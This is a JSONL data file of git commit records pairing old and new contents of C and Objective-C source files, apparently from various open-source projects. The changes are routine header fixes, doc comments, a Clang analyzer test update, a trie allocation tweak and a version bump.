{"commit":"040f741c3387244091f24f7232ee85485b77f1f3","old_file":"Source\/HYPScatterPlot.h","new_file":"Source\/HYPScatterPlot.h","old_contents":"@import UIKit;\n\n@protocol HYPScatterPlotDataSource;\n\n@class HYPScatterPoint;\n@class HYPScatterLabel;\n\n@interface HYPScatterPlot : UIView\n\n@property (nonatomic) UIColor *averageLineColor;\n@property (nonatomic) UIColor *xAxisColor;\n@property (nonatomic) UIColor *yAxisMidGradient;\n@property (nonatomic) UIColor *yAxisEndGradient;\n\n@property (nonatomic, weak) id<HYPScatterPlotDataSource> dataSource;\n\n@end\n\n@protocol HYPScatterPlotDataSource <NSObject>\n\n@required\n\n- (NSArray *)scatterPointsForScatterPlot:(HYPScatterPlot *)scatterPlot;\n- (HYPScatterPoint *)maximumXValue:(HYPScatterPlot *)scatterPlot;\n- (HYPScatterPoint *)minimumXValue:(HYPScatterPlot *)scatterPlot;\n- (HYPScatterPoint *)maximumYValue:(HYPScatterPlot *)scatterPlot;\n- (HYPScatterPoint *)minimumYValue:(HYPScatterPlot *)scatterPlot;\n\n@optional\n\n- (CGFloat)averageYValue:(HYPScatterPlot *)scatterPlot;\n- (HYPScatterLabel *)minimumYLabel:(HYPScatterPlot *)scatterPlot;\n- (HYPScatterLabel *)maximumYLabel:(HYPScatterPlot *)scatterPlot;\n- (HYPScatterLabel *)minimumXLabel:(HYPScatterPlot *)scatterPlot;\n- (HYPScatterLabel *)maximumXLabel:(HYPScatterPlot *)scatterPlot;\n- (HYPScatterLabel *)averageLabel:(HYPScatterPlot *)scatterPlot;\n\n@end\n","new_contents":"@import UIKit;\n\n@protocol HYPScatterPlotDataSource;\n\n@class HYPScatterPoint;\n@class HYPScatterLabel;\n\n@interface HYPScatterPlot : UIView\n\n@property (nonatomic) UIColor *averageLineColor;\n@property (nonatomic) UIColor *xAxisColor;\n@property (nonatomic) UIColor *yAxisMidGradient;\n@property (nonatomic) UIColor *yAxisEndGradient;\n\n@property (nonatomic, weak) id<HYPScatterPlotDataSource> dataSource;\n\n@end\n\n@protocol HYPScatterPlotDataSource <NSObject>\n\n@required\n\n\/**\n \n @return should be a list of HYPScatterPoint objects\n *\/\n- (NSArray *)scatterPointsForScatterPlot:(HYPScatterPlot *)scatterPlot;\n- (HYPScatterPoint *)maximumXValue:(HYPScatterPlot *)scatterPlot;\n- (HYPScatterPoint *)minimumXValue:(HYPScatterPlot *)scatterPlot;\n- (HYPScatterPoint *)maximumYValue:(HYPScatterPlot *)scatterPlot;\n- (HYPScatterPoint *)minimumYValue:(HYPScatterPlot *)scatterPlot;\n\n@optional\n\n- (CGFloat)averageYValue:(HYPScatterPlot *)scatterPlot;\n- (HYPScatterLabel *)minimumYLabel:(HYPScatterPlot *)scatterPlot;\n- (HYPScatterLabel *)maximumYLabel:(HYPScatterPlot *)scatterPlot;\n- (HYPScatterLabel *)minimumXLabel:(HYPScatterPlot *)scatterPlot;\n- (HYPScatterLabel *)maximumXLabel:(HYPScatterPlot *)scatterPlot;\n- (HYPScatterLabel *)averageLabel:(HYPScatterPlot *)scatterPlot;\n\n@end\n","subject":"Add an important info. for scatter datasource","message":"Add an important info. for scatter datasource\n","lang":"C","license":"mit","repos":"hyperoslo\/Scatter"}
{"commit":"79e3842130d52a70d1f134edf055612220b77bdc","old_file":"flash_writer.h","new_file":"flash_writer.h","old_contents":"\n#ifndef FLASH_WRITER_H\n#define FLASH_WRITER_H\n\n#include <stdint.h>\n#include <stddef.h>\n\n\/** Unlocks the flash for programming. *\/\nvoid flash_writer_unlock(void);\n\n\/** Locks the flash *\/\nvoid flash_writer_lock(void);\n\n\/** Erases the flash page at given address. *\/\nvoid flash_writer_page_erase(void *page);\n\n\/** Writes data to given location in flash. *\/\nvoid flash_writer_page_write(void *page, uint8_t *data, size_t len);\n\n#endif \/* FLASH_WRITER_H *\/\n","new_contents":"#ifndef FLASH_WRITER_H\n#define FLASH_WRITER_H\n\n#include <stdint.h>\n#include <stddef.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/** Unlocks the flash for programming. *\/\nvoid flash_writer_unlock(void);\n\n\/** Locks the flash *\/\nvoid flash_writer_lock(void);\n\n\/** Erases the flash page at given address. *\/\nvoid flash_writer_page_erase(void *page);\n\n\/** Writes data to given location in flash. *\/\nvoid flash_writer_page_write(void *page, uint8_t *data, size_t len);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* FLASH_WRITER_H *\/\n","subject":"Add missing extern \"C\" statements","message":"Add missing extern \"C\" statements\n","lang":"C","license":"bsd-2-clause","repos":"cvra\/can-bootloader,cvra\/can-bootloader,cvra\/can-bootloader,cvra\/can-bootloader"}
{"commit":"d4a07988c8ba6b214e8d93c3a4048357484ba771","old_file":"test\/Analysis\/stack-addr-ps.c","new_file":"test\/Analysis\/stack-addr-ps.c","old_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\nint* f1() {\n  int x = 0;\n  return &x; \/\/ expected-warning{{Address of stack memory associated with local variable 'x' returned.}} expected-warning{{address of stack memory associated with local variable 'x' returned}}\n}\n\nint* f2(int y) {\n  return &y;  \/\/ expected-warning{{Address of stack memory associated with local variable 'y' returned.}} expected-warning{{address of stack memory associated with local variable 'y' returned}}\n}\n\nint* f3(int x, int *y) {\n  int w = 0;\n  \n  if (x)\n    y = &w;\n    \n  return y; \/\/ expected-warning{{Address of stack memory associated with local variable 'w' returned.}}\n}\n\nunsigned short* compound_literal() {\n  return &(unsigned short){((unsigned short)0x22EF)}; \/\/ expected-warning{{Address of stack memory}} expected-warning{{braces around scalar initializer}}\n}\n\n","new_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\nint* f1() {\n  int x = 0;\n  return &x; \/\/ expected-warning{{Address of stack memory associated with local variable 'x' returned.}} expected-warning{{address of stack memory associated with local variable 'x' returned}}\n}\n\nint* f2(int y) {\n  return &y;  \/\/ expected-warning{{Address of stack memory associated with local variable 'y' returned.}} expected-warning{{address of stack memory associated with local variable 'y' returned}}\n}\n\nint* f3(int x, int *y) {\n  int w = 0;\n  \n  if (x)\n    y = &w;\n    \n  return y; \/\/ expected-warning{{Address of stack memory associated with local variable 'w' returned.}}\n}\n\nvoid* compound_literal(int x) {\n  if (x)\n    return &(unsigned short){((unsigned short)0x22EF)}; \/\/ expected-warning{{Address of stack memory}} expected-warning{{braces around scalar initializer}}\n  \n  struct s { int z; double y; int w; };\n  return &((struct s){ 2, 0.4, 5 * 8 });\n}\n\n","subject":"Improve compound literal test case.","message":"Improve compound literal test case.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@58447 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"a9faab2fa55c45a9886d59c2367a498e8018227f","old_file":"mainwindow.h","new_file":"mainwindow.h","old_contents":"#ifndef MAINWINDOW_H\n#define MAINWINDOW_H\n\n#include <QMainWindow>\n\nnamespace Ui {\nclass MainWindow;\n}\n\nclass MainWindow : public QMainWindow\n{\n    Q_OBJECT\n\npublic:\n    explicit MainWindow(QWidget *parent = 0);\n    ~MainWindow();\n\nprivate slots:\n    void on_enableSizeButton_clicked();\n\nprivate:\n    Ui::MainWindow *ui;\n    double **xnPlus, **xnMinus, **ynPlus, **ynMinus;\n    double alpha, beta, epsilon, lyambda, fi;\n    double tau, n;\n\nprivate:\n    void initArrays();\n    void initTauComboBox();\n    void initQwtPlot();\n    double func1(double xn, double yn);\n    double func2(double xn);\n    void buildTrajectory(int numTraj);\n};\n\n#endif \/\/ MAINWINDOW_H\n","new_contents":"#ifndef MAINWINDOW_H\n#define MAINWINDOW_H\n\n#include <QMainWindow>\n\nnamespace Ui {\nclass MainWindow;\n}\n\nclass MainWindow : public QMainWindow\n{\n    Q_OBJECT\n\npublic:\n    explicit MainWindow(QWidget *parent = 0);\n    ~MainWindow();\n\nprivate slots:\n    void on_enableSizeButton_clicked();\n\nprivate:\n    Ui::MainWindow *ui;\n    double **xnPlus, **xnMinus, **ynPlus, **ynMinus;\n\nprivate:\n    void initArrays();\n    void initTauComboBox();\n    void initQwtPlot();\n    double func1(double xn, double yn);\n    double func2(double xn);\n    void buildTrajectory(int numTraj);\n};\n\n#endif \/\/ MAINWINDOW_H\n","subject":"Remove unnecessary fields in class.","message":"Remove unnecessary fields in class.\n","lang":"C","license":"mit","repos":"ivanshchitov\/solving-system-ode"}
{"commit":"9698919d35fe7ffdc9e4e4e88de50692d115be10","old_file":"Sources\/include\/HTMLNode+Private.h","new_file":"Sources\/include\/HTMLNode+Private.h","old_contents":"\/\/\n\/\/  HTMLNode+Private.h\n\/\/  HTMLKit\n\/\/\n\/\/  Created by Iska on 20\/12\/15.\n\/\/  Copyright © 2015 BrainCookie. All rights reserved.\n\/\/\n\n\/\/\/------------------------------------------------------\n\/\/\/ HTMLKit private header\n\/\/\/------------------------------------------------------\n\n#import <HTMLKit\/HTMLKit.h>\n\n\/**\n Private HTML Node methods which are not intended for public API.\n *\/\n@interface HTMLNode ()\n\n\/**\n A read-write redeclaration of the same property in the public API.\n *\/\n@property (nonatomic, weak) HTMLDocument *ownerDocument;\n\n\/**\n A read-write redeclaration of the same property in the public API.\n *\/\n@property (nonatomic, weak) HTMLNode *parentNode;\n\n\/**\n Designated initializer of the HTML Node, which, however, should not be used directly. It is intended to be called only \n by subclasses.\n\n @abstract Use concrete subclasses of the HTML Node.\n \n @param name The node's name.\n @param type The node's type.\n @return A new instance of a HTML Node.\n *\/\n- (instancetype)initWithName:(NSString *)name type:(HTMLNodeType)type NS_DESIGNATED_INITIALIZER;\n\n\/**\n Casts this node to a HTML Element. This cast should only be performed after the appropriate check.\n *\/\n- (HTMLElement *)asElement;\n\n\/**\n Returns the same string representation of the DOM tree rooted at this node that is used by html5lib-tests.\n \n @disucssion This method is indended for testing purposes.\n *\/\n- (NSString *)treeDescription;\n\n@end\n","new_contents":"\/\/\n\/\/  HTMLNode+Private.h\n\/\/  HTMLKit\n\/\/\n\/\/  Created by Iska on 20\/12\/15.\n\/\/  Copyright © 2015 BrainCookie. All rights reserved.\n\/\/\n\n\/\/\/------------------------------------------------------\n\/\/\/ HTMLKit private header\n\/\/\/------------------------------------------------------\n\n#import \"HTMLNode.h\"\n\n\/**\n Private HTML Node methods which are not intended for public API.\n *\/\n@interface HTMLNode ()\n\n\/**\n A read-write redeclaration of the same property in the public API.\n *\/\n@property (nonatomic, weak) HTMLDocument *ownerDocument;\n\n\/**\n A read-write redeclaration of the same property in the public API.\n *\/\n@property (nonatomic, weak) HTMLNode *parentNode;\n\n\/**\n Designated initializer of the HTML Node, which, however, should not be used directly. It is intended to be called only \n by subclasses.\n\n @abstract Use concrete subclasses of the HTML Node.\n \n @param name The node's name.\n @param type The node's type.\n @return A new instance of a HTML Node.\n *\/\n- (instancetype)initWithName:(NSString *)name type:(HTMLNodeType)type NS_DESIGNATED_INITIALIZER;\n\n\/**\n Casts this node to a HTML Element. This cast should only be performed after the appropriate check.\n *\/\n- (HTMLElement *)asElement;\n\n\/**\n Returns the same string representation of the DOM tree rooted at this node that is used by html5lib-tests.\n \n @disucssion This method is indended for testing purposes.\n *\/\n- (NSString *)treeDescription;\n\n@end\n","subject":"Fix import in private HTMLNode header","message":"Fix import in private HTMLNode header\n","lang":"C","license":"mit","repos":"iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit"}
{"commit":"5e9b10290a20a4d141e6db96a2f4b767ad5077ea","old_file":"src\/SGFeature.h","new_file":"src\/SGFeature.h","old_contents":"\/\/\n\/\/  SGFeature.h\n\/\/  SimpleGeo\n\/\/\n\/\/  Created by Seth Fitzsimmons on 11\/14\/10.\n\/\/  Copyright 2010 __MyCompanyName__. All rights reserved.\n\/\/\n\n#import \"SGPoint.h\"\n\n\n@interface SGFeature : NSObject\n{\n    NSString* featureId;\n    SGPoint* geometry;\n    NSDictionary* properties;\n    NSString* rawBody;\n}\n\n@property (readonly) NSString* featureId;\n@property (readonly) SGPoint* geometry;\n@property (readonly) NSDictionary* properties;\n@property (readonly) NSString* rawBody;\n\n+ (SGFeature *)featureWithId:(NSString *)id;\n+ (SGFeature *)featureWithId:(NSString *)id\n                        data:(NSDictionary *)data;\n+ (SGFeature *)featureWithId:(NSString *)id\n                        data:(NSDictionary *)data\n                     rawBody:(NSString *)rawBody;\n+ (SGFeature *)featureWithData:(NSDictionary *)data;\n- (id)initWithId:(NSString *)id;\n- (id)initWithId:(NSString *)id\n            data:(NSDictionary *)data;\n- (id)initWithId:(NSString *)id\n            data:(NSDictionary *)data\n         rawBody:(NSString *)rawBody;\n\n@end\n","new_contents":"\/\/\n\/\/  SGFeature.h\n\/\/  SimpleGeo\n\/\/\n\/\/  Created by Seth Fitzsimmons on 11\/14\/10.\n\/\/  Copyright 2010 __MyCompanyName__. All rights reserved.\n\/\/\n\n#import \"SGPoint.h\"\n\n\n@interface SGFeature : NSObject\n{\n    NSString* featureId;\n    SGPoint* geometry;\n    NSDictionary* properties;\n    NSString* rawBody;\n}\n\n@property (retain,readonly) NSString* featureId;\n@property (retain,readonly) SGPoint* geometry;\n@property (retain,readonly) NSDictionary* properties;\n@property (retain,readonly) NSString* rawBody;\n\n+ (SGFeature *)featureWithId:(NSString *)id;\n+ (SGFeature *)featureWithId:(NSString *)id\n                        data:(NSDictionary *)data;\n+ (SGFeature *)featureWithId:(NSString *)id\n                        data:(NSDictionary *)data\n                     rawBody:(NSString *)rawBody;\n+ (SGFeature *)featureWithData:(NSDictionary *)data;\n- (id)initWithId:(NSString *)id;\n- (id)initWithId:(NSString *)id\n            data:(NSDictionary *)data;\n- (id)initWithId:(NSString *)id\n            data:(NSDictionary *)data\n         rawBody:(NSString *)rawBody;\n\n@end\n","subject":"Revert \"No reason for readonly properties to be retained\"","message":"Revert \"No reason for readonly properties to be retained\"\n\nThis reverts commit eeed3d87ea740ab73995af2de8f044e3a9a3082d.\n","lang":"C","license":"bsd-3-clause","repos":"simplegeo\/SimpleGeo.framework,simplegeo\/SimpleGeo.framework,simplegeo\/SimpleGeo.framework"}
{"commit":"c3afaa342f30aded4270e96254cf0729058e06e8","old_file":"trie.c","new_file":"trie.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <util.h>\n\n#include \"trie.h\"\n\n#define char_index(c) c - 97\n\ntrie *\ntrie_init(void)\n{\n\ttrie *t = emalloc(sizeof(*t));\n\tmemset(t, 0, sizeof(*t));\n\tt->children = emalloc(R_SIZE * sizeof(*(t->children)));\n\tmemset(t->children, 0, sizeof(*(t->children)));\n\treturn t;\n}\n\nvoid\ntrie_insert(trie *t, const char *key, size_t value)\n{\n\tconst char *c = key;\n\ttrie *cur_node = t;\n\twhile (*c) {\n\t\tif (cur_node->children[char_index(*c)] == NULL)\n\t\t\tcur_node->children[char_index(*c)] = trie_init();\n\t\tcur_node = cur_node->children[char_index(*c)];\n\t\tc++;\n\t}\n\tcur_node->count = value;\n}\n\nsize_t\ntrie_get(trie *t, const char *key)\n{\n\tconst char *c = key;\n\ttrie *cur_node = t;\n\twhile (*c) {\n\t\tif (cur_node->children[char_index(*c)] == NULL)\n\t\t\treturn 0;\n\t\tcur_node = cur_node->children[char_index(*c)];\n\t\tc++;\n\t}\n\treturn cur_node->count;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <util.h>\n\n#include \"trie.h\"\n\n#define char_index(c) c - 97\n\ntrie *\ntrie_init(void)\n{\n\ttrie *t = emalloc(sizeof(*t));\n\tmemset(t, 0, sizeof(*t));\n\tt->children = ecalloc(R_SIZE, sizeof(*(t->children)));\n\treturn t;\n}\n\nvoid\ntrie_insert(trie *t, const char *key, size_t value)\n{\n\tconst char *c = key;\n\ttrie *cur_node = t;\n\twhile (*c) {\n\t\tif (cur_node->children[char_index(*c)] == NULL)\n\t\t\tcur_node->children[char_index(*c)] = trie_init();\n\t\tcur_node = cur_node->children[char_index(*c)];\n\t\tc++;\n\t}\n\tcur_node->count = value;\n}\n\nsize_t\ntrie_get(trie *t, const char *key)\n{\n\tconst char *c = key;\n\ttrie *cur_node = t;\n\twhile (*c) {\n\t\tif (cur_node->children[char_index(*c)] == NULL)\n\t\t\treturn 0;\n\t\tcur_node = cur_node->children[char_index(*c)];\n\t\tc++;\n\t}\n\treturn cur_node->count;\n}\n","subject":"Replace malloc + memset with calloc","message":"Replace malloc + memset with calloc\n","lang":"C","license":"bsd-2-clause","repos":"abhinav-upadhyay\/nbspell,abhinav-upadhyay\/nbspell"}
{"commit":"a1556864e486f61c4bf974f5a5595ee4511977b1","old_file":"src\/util\/util_version.h","new_file":"src\/util\/util_version.h","old_contents":"\/*\n * Copyright 2011-2016 Blender Foundation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef __UTIL_VERSION_H__\n#define __UTIL_VERSION_H__\n\n\/* Cycles version number *\/\n\nCCL_NAMESPACE_BEGIN\n\n#define CYCLES_VERSION_MAJOR 1\n#define CYCLES_VERSION_MINOR 10\n#define CYCLES_VERSION_PATCH 0\n\n#define CYCLES_MAKE_VERSION_STRING2(a, b, c) #a \".\" #b \".\" #c\n#define CYCLES_MAKE_VERSION_STRING(a, b, c) CYCLES_MAKE_VERSION_STRING2(a, b, c)\n#define CYCLES_VERSION_STRING \\\n  CYCLES_MAKE_VERSION_STRING(CYCLES_VERSION_MAJOR, CYCLES_VERSION_MINOR, CYCLES_VERSION_PATCH)\n\nCCL_NAMESPACE_END\n\n#endif \/* __UTIL_VERSION_H__ *\/\n","new_contents":"\/*\n * Copyright 2011-2016 Blender Foundation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef __UTIL_VERSION_H__\n#define __UTIL_VERSION_H__\n\n\/* Cycles version number *\/\n\nCCL_NAMESPACE_BEGIN\n\n#define CYCLES_VERSION_MAJOR 1\n#define CYCLES_VERSION_MINOR 11\n#define CYCLES_VERSION_PATCH 0\n\n#define CYCLES_MAKE_VERSION_STRING2(a, b, c) #a \".\" #b \".\" #c\n#define CYCLES_MAKE_VERSION_STRING(a, b, c) CYCLES_MAKE_VERSION_STRING2(a, b, c)\n#define CYCLES_VERSION_STRING \\\n  CYCLES_MAKE_VERSION_STRING(CYCLES_VERSION_MAJOR, CYCLES_VERSION_MINOR, CYCLES_VERSION_PATCH)\n\nCCL_NAMESPACE_END\n\n#endif \/* __UTIL_VERSION_H__ *\/\n","subject":"Bump Cycles version to 1.11.0 (Blender 2.81)","message":"Bump Cycles version to 1.11.0 (Blender 2.81)\n","lang":"C","license":"apache-2.0","repos":"tangent-opensource\/coreBlackbird,tangent-opensource\/coreBlackbird,tangent-opensource\/coreBlackbird"}
{"commit":"d099ccc83b7cb2a7809708722f515c5e091293df","old_file":"chrome\/browser\/cocoa\/objc_zombie.h","new_file":"chrome\/browser\/cocoa\/objc_zombie.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n#define CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n#pragma once\n\n#import <Foundation\/Foundation.h>\n\n\/\/ You should think twice every single time you use anything from this\n\/\/ namespace.\nnamespace ObjcEvilDoers {\n\n\/\/ Enable zombies.  Returns NO if it fails to enable.\n\/\/\n\/\/ When |zombieAllObjects| is YES, all objects inheriting from\n\/\/ NSObject become zombies on -dealloc.  If NO, -shouldBecomeCrZombie\n\/\/ is queried to determine whether to make the object a zombie.\n\/\/\n\/\/ |zombieCount| controls how many zombies to store before freeing the\n\/\/ oldest.  Set to 0 to free objects immediately after making them\n\/\/ zombies.\nBOOL ZombieEnable(BOOL zombieAllObjects, size_t zombieCount);\n\n\/\/ Disable zombies.\nvoid ZombieDisable();\n\n}  \/\/ namespace ObjcEvilDoers\n\n@interface NSObject (CrZombie)\n- (BOOL)shouldBecomeCrZombie;\n@end\n\n#endif  \/\/ CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n#define CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n#pragma once\n\n#import <Foundation\/Foundation.h>\n\n\/\/ You should think twice every single time you use anything from this\n\/\/ namespace.\nnamespace ObjcEvilDoers {\n\n\/\/ Enable zombie object debugging. This implements a variant of Apple's\n\/\/ NSZombieEnabled which can help expose use-after-free errors where messages\n\/\/ are sent to freed Objective-C objects in production builds.\n\/\/\n\/\/ Returns NO if it fails to enable.\n\/\/\n\/\/ When |zombieAllObjects| is YES, all objects inheriting from\n\/\/ NSObject become zombies on -dealloc.  If NO, -shouldBecomeCrZombie\n\/\/ is queried to determine whether to make the object a zombie.\n\/\/\n\/\/ |zombieCount| controls how many zombies to store before freeing the\n\/\/ oldest.  Set to 0 to free objects immediately after making them\n\/\/ zombies.\nBOOL ZombieEnable(BOOL zombieAllObjects, size_t zombieCount);\n\n\/\/ Disable zombies.\nvoid ZombieDisable();\n\n}  \/\/ namespace ObjcEvilDoers\n\n@interface NSObject (CrZombie)\n- (BOOL)shouldBecomeCrZombie;\n@end\n\n#endif  \/\/ CHROME_BROWSER_COCOA_NSOBJECT_ZOMBIE_H_\n","subject":"Add link to explanation of what we mean by zombie The person triaging \/ debugging a zombie crash may never have heard of this before.","message":"Add link to explanation of what we mean by zombie\nThe person triaging \/ debugging a zombie crash may never have heard of this before.\n\nBUG=None\nTEST=None\n\nReview URL: http:\/\/codereview.chromium.org\/3763002\n\ngit-svn-id: http:\/\/src.chromium.org\/svn\/trunk\/src@62723 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n\nFormer-commit-id: afedf4fa79fedacfcd285d49f1c044ddd138951e","lang":"C","license":"bsd-3-clause","repos":"meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser"}
{"commit":"27b36d361060857849880209794c6f6f98457bfe","old_file":"csapex_ros\/src\/ros_boot.h","new_file":"csapex_ros\/src\/ros_boot.h","old_contents":"#ifndef ROS_BOOT_H\n#define ROS_BOOT_H\n\n\/\/\/ PROJECT\n#include <csapex\/core\/bootstrap_plugin.h>\n#include <csapex\/core\/core_fwd.h>\n#include <csapex\/model\/model_fwd.h>\n#include <csapex\/msg\/msg_fwd.h>\n#include <csapex\/view\/view_fwd.h>\n\n\/\/\/ SYSTEM\n\/\/ clang-format off\n#include <csapex\/utility\/suppress_warnings_start.h>\n#include <pluginlib\/class_loader.hpp>\n#include <csapex\/utility\/suppress_warnings_end.h>\n\/\/ clang-format on\n\nnamespace csapex\n{\nclass RosBoot : public BootstrapPlugin\n{\npublic:\n    RosBoot();\n    void boot(csapex::PluginLocator* locator);\n\nprivate:\n    std::vector<std::string> valid_plugin_xml_files_;\n\n    pluginlib::ClassLoader<CorePlugin> loader_core_;\n    pluginlib::ClassLoader<MessageProvider> loader_msg_;\n    pluginlib::ClassLoader<MessageRenderer> loader_msg_renderer_;\n    pluginlib::ClassLoader<Node> loader_node_;\n    pluginlib::ClassLoader<NodeAdapterBuilder> loader_node_adapter_;\n    pluginlib::ClassLoader<ParameterAdapterBuilder> loader_param_adapter_;\n    pluginlib::ClassLoader<DragIOHandler> loader_drag_io_;\n};\n\n}  \/\/ namespace csapex\n#endif  \/\/ ROS_BOOT_H\n","new_contents":"#ifndef ROS_BOOT_H\n#define ROS_BOOT_H\n\n\/\/\/ PROJECT\n#include <csapex\/core\/bootstrap_plugin.h>\n#include <csapex\/core\/core_fwd.h>\n#include <csapex\/model\/model_fwd.h>\n#include <csapex\/msg\/msg_fwd.h>\n#include <csapex\/view\/view_fwd.h>\n\n\/\/\/ SYSTEM\n\/\/ clang-format off\n#include <csapex\/utility\/suppress_warnings_start.h>\n#if CLASS_LOADER_USES_HPP\n#include <pluginlib\/class_loader.hpp>\n#else\n#include <pluginlib\/class_loader.h>\n#endif\n#include <csapex\/utility\/suppress_warnings_end.h>\n\/\/ clang-format on\n\nnamespace csapex\n{\nclass RosBoot : public BootstrapPlugin\n{\npublic:\n    RosBoot();\n    void boot(csapex::PluginLocator* locator);\n\nprivate:\n    std::vector<std::string> valid_plugin_xml_files_;\n\n    pluginlib::ClassLoader<CorePlugin> loader_core_;\n    pluginlib::ClassLoader<MessageProvider> loader_msg_;\n    pluginlib::ClassLoader<MessageRenderer> loader_msg_renderer_;\n    pluginlib::ClassLoader<Node> loader_node_;\n    pluginlib::ClassLoader<NodeAdapterBuilder> loader_node_adapter_;\n    pluginlib::ClassLoader<ParameterAdapterBuilder> loader_param_adapter_;\n    pluginlib::ClassLoader<DragIOHandler> loader_drag_io_;\n};\n\n}  \/\/ namespace csapex\n#endif  \/\/ ROS_BOOT_H\n","subject":"Fix jade version of class_loader not containing class_loader.hpp","message":"Fix jade version of class_loader not containing class_loader.hpp\n","lang":"C","license":"bsd-3-clause","repos":"cogsys-tuebingen\/csapex_core_plugins,cogsys-tuebingen\/csapex_core_plugins,cogsys-tuebingen\/csapex_core_plugins"}
{"commit":"eaaf1b668cc99633072ac6c63d2db9dee03fbef5","old_file":"server\/gwkv_ht_wrapper.h","new_file":"server\/gwkv_ht_wrapper.h","old_contents":"#ifndef GWKV_HT_WRAPPER\n#define GWKV_HT_WRAPPER\n\n#include <stdlib.h>\n#include \"..\/hashtable\/hashtable.h\"\n\n\/* Operations the table supports *\/\ntypedef enum {\n        GET,\n        SET\n} method;\n\n\/* Defines for result codes *\/\n#define STORED 0\n#define NOT_STORED 1\n#define EXISTS 2\n#define NOT_FOUND 3\n\n\/* Datatype for wrapping datastore values *\/\nstruct {\n        method method_type,\n        const char* key,\n        size_t key_length,\n        const char* value,\n        size_t value_length\n} operation;\n\n\/**\n * Wrapper function to set a value in the hashtable\n * Returns either STORED or NOT_STORED (defined above)\n *\/\nint\ngwkv_server_set (memcached_st *ptr,\n                 const char *key,\n                 size_t key_length,\n                 const char *value,\n                 size_t value_length);\n\n\/**\n * Wrapper function to read a value from the hashtable\n * Returns the data if sucessful, or NULL on error\n * These correspond to the EXISTS and NOT_FOUND codes above\n *\/\nchar*\ngwkv_server_get (memcached_st *ptr,\n                 const char *key,\n                 size_t key_length,\n                 size_t *value_length);\n\n\n\n#endif\n","new_contents":"#ifndef GWKV_HT_WRAPPER\n#define GWKV_HT_WRAPPER\n\n#include <stdlib.h>\n#include \"..\/hashtable\/hashtable.h\"\n\n\/* Types of hashing algorithms we support *\/\ntypedef enum {\n        MD5\n} hash_type;\n\n\/* All encompassing datatype for server datastore *\/\nstruct {\n        ht* hashtable,\n        hash_type hash\n} gwkv_server;\n\n\/* Operations the table supports *\/\ntypedef enum {\n        GET,\n        SET\n} method;\n\n\/* Defines for result codes *\/\n#define STORED 0\n#define NOT_STORED 1\n#define EXISTS 2\n#define NOT_FOUND 3\n\n\/* Datatype for wrapping datastore values *\/\nstruct {\n        method method_type,\n        const char* key,\n        size_t key_length,\n        const char* value,\n        size_t value_length\n} operation;\n\n\/* Initialize a new key\/value datastore *\/\ngwkv_server*\ngwkv_server_init(hash_type hash_algorithm);\n\n\/**\n * Wrapper function to set a value in the hashtable\n * Returns either STORED or NOT_STORED (defined above)\n *\/\nint\ngwkv_server_set (memcached_st *ptr,\n                 const char *key,\n                 size_t key_length,\n                 const char *value,\n                 size_t value_length);\n\n\/**\n * Wrapper function to read a value from the hashtable\n * Returns the data if sucessful, or NULL on error\n * These correspond to the EXISTS and NOT_FOUND codes above\n *\/\nchar*\ngwkv_server_get (memcached_st *ptr,\n                 const char *key,\n                 size_t key_length,\n                 size_t *value_length);\n\n\/* Frees all memory associated with the datastore *\/\nvoid\ngwkv_server_free(gwkv_server* server);\n\n#endif\n","subject":"Add struct to keep datastore things","message":"Add struct to keep datastore things\n","lang":"C","license":"mit","repos":"gwAdvNet2015\/gw-kv-store"}
